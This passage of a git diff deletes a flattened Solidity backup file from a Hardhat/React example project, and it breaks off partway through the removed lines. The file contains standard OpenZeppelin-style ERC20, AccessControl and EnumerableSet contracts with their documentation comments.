-https://create-react-app.dev/docs/getting-started/     
-https://github.com/nomiclabs/hardhat-hackathon-boilerplate    
\ No newline at end of file
diff --git a/Example09-hardhat-react/backup/SimpleToken.sol b/Example09-hardhat-react/backup/SimpleToken.sol
deleted file mode 100644
index 346952949..000000000
--- a/Example09-hardhat-react/backup/SimpleToken.sol
+++ /dev/null
@@ -1,3349 +0,0 @@
-// Sources flattened with hardhat v2.3.0 https://hardhat.org
-
-// File contracts/IERC20.sol
-
-
-
-
-pragma solidity ^0.8.0;
-/**
- * @dev Interface of the ERC20 standard as defined in the EIP.
- */
-interface IERC20 {
-    /**
-     * @dev Returns the amount of tokens in existence.
-     */
-    function totalSupply() external view returns (uint256);
-
-    /**
-     * @dev Returns the amount of tokens owned by `account`.
-     */
-    function balanceOf(address account) external view returns (uint256);
-
-    /**
-     * @dev Moves `amount` tokens from the caller's account to `recipient`.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transfer(address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Returns the remaining number of tokens that `spender` will be
-     * allowed to spend on behalf of `owner` through {transferFrom}. This is
-     * zero by default.
-     *
-     * This value changes when {approve} or {transferFrom} are called.
-     */
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * IMPORTANT: Beware that changing an allowance with this method brings the risk
-     * that someone may use both the old and the new allowance by unfortunate
-     * transaction ordering. One possible solution to mitigate this race
-     * condition is to first reduce the spender's allowance to 0 and set the
-     * desired value afterwards:
-     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
-     *
-     * Emits an {Approval} event.
-     */
-    function approve(address spender, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Moves `amount` tokens from `sender` to `recipient` using the
-     * allowance mechanism. `amount` is then deducted from the caller's
-     * allowance.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Emitted when `value` tokens are moved from one account (`from`) to
-     * another (`to`).
-     *
-     * Note that `value` may be zero.
-     */
-    event Transfer(address indexed from, address indexed to, uint256 value);
-
-    /**
-     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
-     * a call to {approve}. `value` is the new allowance.
-     */
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-
-// File contracts/extensions/IERC20Metadata.sol
-
-
-
-
-
-/**
- * @dev Interface for the optional metadata functions from the ERC20 standard.
- *
- * _Available since v4.1._
- */
-interface IERC20Metadata is IERC20 {
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() external view returns (string memory);
-
-    /**
-     * @dev Returns the symbol of the token.
-     */
-    function symbol() external view returns (string memory);
-
-    /**
-     * @dev Returns the decimals places of the token.
-     */
-    function decimals() external view returns (uint8);
-}
-
-
-// File contracts/utils/Context.sol
-
-
-
-
-
-/*
- * @dev Provides information about the current execution context, including the
- * sender of the transaction and its data. While these are generally available
- * via msg.sender and msg.data, they should not be accessed in such a direct
- * manner, since when dealing with meta-transactions the account sending and
- * paying for execution may not be the actual sender (as far as an application
- * is concerned).
- *
- * This contract is only required for intermediate, library-like contracts.
- */
-abstract contract Context {
-    function _msgSender() internal view virtual returns (address) {
-        return msg.sender;
-    }
-
-    function _msgData() internal view virtual returns (bytes calldata) {
-        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
-        return msg.data;
-    }
-}
-
-
-// File contracts/ERC20.sol
-
-
-
-
-
-
-
-/**
- * @dev Implementation of the {IERC20} interface.
- *
- * This implementation is agnostic to the way tokens are created. This means
- * that a supply mechanism has to be added in a derived contract using {_mint}.
- * For a generic mechanism see {ERC20PresetMinterPauser}.
- *
- * TIP: For a detailed writeup see our guide
- * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
- * to implement supply mechanisms].
- *
- * We have followed general OpenZeppelin guidelines: functions revert instead
- * of returning `false` on failure. This behavior is nonetheless conventional
- * and does not conflict with the expectations of ERC20 applications.
- *
- * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
- * This allows applications to reconstruct the allowance for all accounts just
- * by listening to said events. Other implementations of the EIP may not emit
- * these events, as it isn't required by the specification.
- *
- * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
- * functions have been added to mitigate the well-known issues around setting
- * allowances. See {IERC20-approve}.
- */
-contract ERC20 is Context, IERC20, IERC20Metadata {
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowances;
-
-    uint256 private _totalSupply;
-
-    string private _name;
-    string private _symbol;
-
-    /**
-     * @dev Sets the values for {name} and {symbol}.
-     *
-     * The default value of {decimals} is 18. To select a different value for
-     * {decimals} you should overload it.
-     *
-     * All two of these values are immutable: they can only be set once during
-     * construction.
-     */
-    constructor (string memory name_, string memory symbol_) {
-        _name = name_;
-        _symbol = symbol_;
-    }
-
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() public view virtual override returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev Returns the symbol of the token, usually a shorter version of the
-     * name.
-     */
-    function symbol() public view virtual override returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev Returns the number of decimals used to get its user representation.
-     * For example, if `decimals` equals `2`, a balance of `505` tokens should
-     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
-     *
-     * Tokens usually opt for a value of 18, imitating the relationship between
-     * Ether and Wei. This is the value {ERC20} uses, unless this function is
-     * overridden;
-     *
-     * NOTE: This information is only used for _display_ purposes: it in
-     * no way affects any of the arithmetic of the contract, including
-     * {IERC20-balanceOf} and {IERC20-transfer}.
-     */
-    function decimals() public view virtual override returns (uint8) {
-        return 18;
-    }
-
-    /**
-     * @dev See {IERC20-totalSupply}.
-     */
-    function totalSupply() public view virtual override returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev See {IERC20-balanceOf}.
-     */
-    function balanceOf(address account) public view virtual override returns (uint256) {
-        return _balances[account];
-    }
-
-    /**
-     * @dev See {IERC20-transfer}.
-     *
-     * Requirements:
-     *
-     * - `recipient` cannot be the zero address.
-     * - the caller must have a balance of at least `amount`.
-     */
-    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(_msgSender(), recipient, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-allowance}.
-     */
-    function allowance(address owner, address spender) public view virtual override returns (uint256) {
-        return _allowances[owner][spender];
-    }
-
-    /**
-     * @dev See {IERC20-approve}.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function approve(address spender, uint256 amount) public virtual override returns (bool) {
-        _approve(_msgSender(), spender, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-transferFrom}.
-     *
-     * Emits an {Approval} event indicating the updated allowance. This is not
-     * required by the EIP. See the note at the beginning of {ERC20}.
-     *
-     * Requirements:
-     *
-     * - `sender` and `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     * - the caller must have allowance for ``sender``'s tokens of at least
-     * `amount`.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(sender, recipient, amount);
-
-        uint256 currentAllowance = _allowances[sender][_msgSender()];
-        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
-        unchecked {
-            _approve(sender, _msgSender(), currentAllowance - amount);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Atomically increases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
-        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
-        return true;
-    }
-
-    /**
-     * @dev Atomically decreases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `spender` must have allowance for the caller of at least
-     * `subtractedValue`.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
-        uint256 currentAllowance = _allowances[_msgSender()][spender];
-        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
-        unchecked {
-            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Moves tokens `amount` from `sender` to `recipient`.
-     *
-     * This is internal function is equivalent to {transfer}, and can be used to
-     * e.g. implement automatic token fees, slashing mechanisms, etc.
-     *
-     * Emits a {Transfer} event.
-     *
-     * Requirements:
-     *
-     * - `sender` cannot be the zero address.
-     * - `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     */
-    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
-        require(sender != address(0), "ERC20: transfer from the zero address");
-        require(recipient != address(0), "ERC20: transfer to the zero address");
-
-        _beforeTokenTransfer(sender, recipient, amount);
-
-        uint256 senderBalance = _balances[sender];
-        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
-        unchecked {
-            _balances[sender] = senderBalance - amount;
-        }
-        _balances[recipient] += amount;
-
-        emit Transfer(sender, recipient, amount);
-    }
-
-    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
-     * the total supply.
-     *
-     * Emits a {Transfer} event with `from` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     */
-    function _mint(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _beforeTokenTransfer(address(0), account, amount);
-
-        _totalSupply += amount;
-        _balances[account] += amount;
-        emit Transfer(address(0), account, amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, reducing the
-     * total supply.
-     *
-     * Emits a {Transfer} event with `to` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     * - `account` must have at least `amount` tokens.
-     */
-    function _burn(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _beforeTokenTransfer(account, address(0), amount);
-
-        uint256 accountBalance = _balances[account];
-        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
-        unchecked {
-            _balances[account] = accountBalance - amount;
-        }
-        _totalSupply -= amount;
-
-        emit Transfer(account, address(0), amount);
-    }
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
-     *
-     * This internal function is equivalent to `approve`, and can be used to
-     * e.g. set automatic allowances for certain subsystems, etc.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `owner` cannot be the zero address.
-     * - `spender` cannot be the zero address.
-     */
-    function _approve(address owner, address spender, uint256 amount) internal virtual {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowances[owner][spender] = amount;
-        emit Approval(owner, spender, amount);
-    }
-
-    /**
-     * @dev Hook that is called before any transfer of tokens. This includes
-     * minting and burning.
-     *
-     * Calling conditions:
-     *
-     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
-     * will be to transferred to `to`.
-     * - when `from` is zero, `amount` tokens will be minted for `to`.
-     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
-     * - `from` and `to` are never both zero.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
-}
-
-
-// File contracts/utils/Strings.sol
-
-
-
-
-
-/**
- * @dev String operations.
- */
-library Strings {
-    bytes16 private constant alphabet = "0123456789abcdef";
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
-     */
-    function toString(uint256 value) internal pure returns (string memory) {
-        // Inspired by OraclizeAPI's implementation - MIT licence
-        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
-
-        if (value == 0) {
-            return "0";
-        }
-        uint256 temp = value;
-        uint256 digits;
-        while (temp != 0) {
-            digits++;
-            temp /= 10;
-        }
-        bytes memory buffer = new bytes(digits);
-        while (value != 0) {
-            digits -= 1;
-            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
-            value /= 10;
-        }
-        return string(buffer);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
-     */
-    function toHexString(uint256 value) internal pure returns (string memory) {
-        if (value == 0) {
-            return "0x00";
-        }
-        uint256 temp = value;
-        uint256 length = 0;
-        while (temp != 0) {
-            length++;
-            temp >>= 8;
-        }
-        return toHexString(value, length);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
-     */
-    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
-        bytes memory buffer = new bytes(2 * length + 2);
-        buffer[0] = "0";
-        buffer[1] = "x";
-        for (uint256 i = 2 * length + 1; i > 1; --i) {
-            buffer[i] = alphabet[value & 0xf];
-            value >>= 4;
-        }
-        require(value == 0, "Strings: hex length insufficient");
-        return string(buffer);
-    }
-
-}
-
-
-// File contracts/extensions/IERC165.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC165 standard, as defined in the
- * https://eips.ethereum.org/EIPS/eip-165[EIP].
- *
- * Implementers can declare support of contract interfaces, which can then be
- * queried by others ({ERC165Checker}).
- *
- * For an implementation, see {ERC165}.
- */
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
-
-
-// File contracts/extensions/ERC165.sol
-
-
-
-
-
-/**
- * @dev Implementation of the {IERC165} interface.
- *
- * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
- * for the additional interface id that will be supported. For example:
- *
- * ```solidity
- * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
- *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
- * }
- * ```
- *
- * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
- */
-abstract contract ERC165 is IERC165 {
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IERC165).interfaceId;
-    }
-}
-
-
-// File contracts/extensions/AccessControl.sol
-
-
-
-
-
-
-
-/**
- * @dev External interface of AccessControl declared to support ERC165 detection.
- */
-interface IAccessControl {
-    function hasRole(bytes32 role, address account) external view returns (bool);
-    function getRoleAdmin(bytes32 role) external view returns (bytes32);
-    function grantRole(bytes32 role, address account) external;
-    function revokeRole(bytes32 role, address account) external;
-    function renounceRole(bytes32 role, address account) external;
-}
-
-/**
- * @dev Contract module that allows children to implement role-based access
- * control mechanisms. This is a lightweight version that doesn't allow enumerating role
- * members except through off-chain means by accessing the contract event logs. Some
- * applications may benefit from on-chain enumerability, for those cases see
- * {AccessControlEnumerable}.
- *
- * Roles are referred to by their `bytes32` identifier. These should be exposed
- * in the external API and be unique. The best way to achieve this is by
- * using `public constant` hash digests:
- *
- * ```
- * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
- * ```
- *
- * Roles can be used to represent a set of permissions. To restrict access to a
- * function call, use {hasRole}:
- *
- * ```
- * function foo() public {
- *     require(hasRole(MY_ROLE, msg.sender));
- *     ...
- * }
- * ```
- *
- * Roles can be granted and revoked dynamically via the {grantRole} and
- * {revokeRole} functions. Each role has an associated admin role, and only
- * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
- *
- * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
- * that only accounts with this role will be able to grant or revoke other
- * roles. More complex role relationships can be created by using
- * {_setRoleAdmin}.
- *
- * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
- * grant and revoke this role. Extra precautions should be taken to secure
- * accounts that have been granted it.
- */
-abstract contract AccessControl is Context, IAccessControl, ERC165 {
-    struct RoleData {
-        mapping (address => bool) members;
-        bytes32 adminRole;
-    }
-
-    mapping (bytes32 => RoleData) private _roles;
-
-    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
-
-    /**
-     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
-     *
-     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
-     * {RoleAdminChanged} not being emitted signaling this.
-     *
-     * _Available since v3.1._
-     */
-    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
-
-    /**
-     * @dev Emitted when `account` is granted `role`.
-     *
-     * `sender` is the account that originated the contract call, an admin role
-     * bearer except when using {_setupRole}.
-     */
-    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Emitted when `account` is revoked `role`.
-     *
-     * `sender` is the account that originated the contract call:
-     *   - if using `revokeRole`, it is the admin role bearer
-     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
-     */
-    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Modifier that checks that an account has a specific role. Reverts
-     * with a standardized message including the required role.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     *
-     * _Available since v4.1._
-     */
-    modifier onlyRole(bytes32 role) {
-        _checkRole(role, _msgSender());
-        _;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControl).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns `true` if `account` has been granted `role`.
-     */
-    function hasRole(bytes32 role, address account) public view override returns (bool) {
-        return _roles[role].members[account];
-    }
-
-    /**
-     * @dev Revert with a standard message if `account` is missing `role`.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     */
-    function _checkRole(bytes32 role, address account) internal view {
-        if(!hasRole(role, account)) {
-            revert(string(abi.encodePacked(
-                "AccessControl: account ",
-                Strings.toHexString(uint160(account), 20),
-                " is missing role ",
-                Strings.toHexString(uint256(role), 32)
-            )));
-        }
-    }
-
-    /**
-     * @dev Returns the admin role that controls `role`. See {grantRole} and
-     * {revokeRole}.
-     *
-     * To change a role's admin, use {_setRoleAdmin}.
-     */
-    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
-        return _roles[role].adminRole;
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from `account`.
-     *
-     * If `account` had been granted `role`, emits a {RoleRevoked} event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from the calling account.
-     *
-     * Roles are often managed via {grantRole} and {revokeRole}: this function's
-     * purpose is to provide a mechanism for accounts to lose their privileges
-     * if they are compromised (such as when a trusted device is misplaced).
-     *
-     * If the calling account had been granted `role`, emits a {RoleRevoked}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must be `account`.
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
-
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event. Note that unlike {grantRole}, this function doesn't perform any
-     * checks on the calling account.
-     *
-     * [WARNING]
-     * ====
-     * This function should only be called from the constructor when setting
-     * up the initial roles for the system.
-     *
-     * Using this function in any other way is effectively circumventing the admin
-     * system imposed by {AccessControl}.
-     * ====
-     */
-    function _setupRole(bytes32 role, address account) internal virtual {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Sets `adminRole` as ``role``'s admin role.
-     *
-     * Emits a {RoleAdminChanged} event.
-     */
-    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
-        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
-        _roles[role].adminRole = adminRole;
-    }
-
-    function _grantRole(bytes32 role, address account) private {
-        if (!hasRole(role, account)) {
-            _roles[role].members[account] = true;
-            emit RoleGranted(role, account, _msgSender());
-        }
-    }
-
-    function _revokeRole(bytes32 role, address account) private {
-        if (hasRole(role, account)) {
-            _roles[role].members[account] = false;
-            emit RoleRevoked(role, account, _msgSender());
-        }
-    }
-}
-
-
-// File contracts/utils/EnumerableSet.sol
-
-
-
-
-
-/**
- * @dev Library for managing
- * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
- * types.
- *
- * Sets have the following properties:
- *
- * - Elements are added, removed, and checked for existence in constant time
- * (O(1)).
- * - Elements are enumerated in O(n). No guarantees are made on the ordering.
- *
- * ```
- * contract Example {
- *     // Add the library methods
- *     using EnumerableSet for EnumerableSet.AddressSet;
- *
- *     // Declare a set state variable
- *     EnumerableSet.AddressSet private mySet;
- * }
- * ```
- *
- * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
- * and `uint256` (`UintSet`) are supported.
- */
-library EnumerableSet {
-    // To implement this library for multiple types with as little code
-    // repetition as possible, we write it in terms of a generic Set type with
-    // bytes32 values.
-    // The Set implementation uses private functions, and user-facing
-    // implementations (such as AddressSet) are just wrappers around the
-    // underlying Set.
-    // This means that we can only create new EnumerableSets for types that fit
-    // in bytes32.
-
-    struct Set {
-        // Storage of set values
-        bytes32[] _values;
-
-        // Position of the value in the `values` array, plus 1 because index 0
-        // means a value is not in the set.
-        mapping (bytes32 => uint256) _indexes;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function _add(Set storage set, bytes32 value) private returns (bool) {
-        if (!_contains(set, value)) {
-            set._values.push(value);
-            // The value is stored at length-1, but we add 1 to all indexes
-            // and use 0 as a sentinel value
-            set._indexes[value] = set._values.length;
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function _remove(Set storage set, bytes32 value) private returns (bool) {
-        // We read and store the value's index to prevent multiple reads from the same storage slot
-        uint256 valueIndex = set._indexes[value];
-
-        if (valueIndex != 0) { // Equivalent to contains(set, value)
-            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
-            // the array, and then remove the last element (sometimes called as 'swap and pop').
-            // This modifies the order of the array, as noted in {at}.
-
-            uint256 toDeleteIndex = valueIndex - 1;
-            uint256 lastIndex = set._values.length - 1;
-
-            if (lastIndex != toDeleteIndex) {
-                bytes32 lastvalue = set._values[lastIndex];
-
-                // Move the last value to the index where the value to delete is
-                set._values[toDeleteIndex] = lastvalue;
-                // Update the index for the moved value
-                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
-            }
-
-            // Delete the slot where the moved value was stored
-            set._values.pop();
-
-            // Delete the index for the deleted slot
-            delete set._indexes[value];
-
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function _contains(Set storage set, bytes32 value) private view returns (bool) {
-        return set._indexes[value] != 0;
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function _length(Set storage set) private view returns (uint256) {
-        return set._values.length;
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function _at(Set storage set, uint256 index) private view returns (bytes32) {
-        return set._values[index];
-    }
-
-    // Bytes32Set
-
-    struct Bytes32Set {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _add(set._inner, value);
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _remove(set._inner, value);
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
-        return _contains(set._inner, value);
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(Bytes32Set storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
-        return _at(set._inner, index);
-    }
-
-    // AddressSet
-
-    struct AddressSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(AddressSet storage set, address value) internal returns (bool) {
-        return _add(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(AddressSet storage set, address value) internal returns (bool) {
-        return _remove(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(AddressSet storage set, address value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(AddressSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(AddressSet storage set, uint256 index) internal view returns (address) {
-        return address(uint160(uint256(_at(set._inner, index))));
-    }
-
-
-    // UintSet
-
-    struct UintSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(UintSet storage set, uint256 value) internal returns (bool) {
-        return _add(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(UintSet storage set, uint256 value) internal returns (bool) {
-        return _remove(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function length(UintSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
-        return uint256(_at(set._inner, index));
-    }
-}
-
-
-// File contracts/extensions/AccessControlEnumerable.sol
-
-
-
-
-
-
-/**
- * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
- */
-interface IAccessControlEnumerable {
-    function getRoleMember(bytes32 role, uint256 index) external view returns (address);
-    function getRoleMemberCount(bytes32 role) external view returns (uint256);
-}
-
-/**
- * @dev Extension of {AccessControl} that allows enumerating the members of each role.
- */
-abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
-    using EnumerableSet for EnumerableSet.AddressSet;
-
-    mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers;
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControlEnumerable).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns one of the accounts that have `role`. `index` must be a
-     * value between 0 and {getRoleMemberCount}, non-inclusive.
-     *
-     * Role bearers are not sorted in any particular way, and their ordering may
-     * change at any point.
-     *
-     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
-     * you perform all queries on the same block. See the following
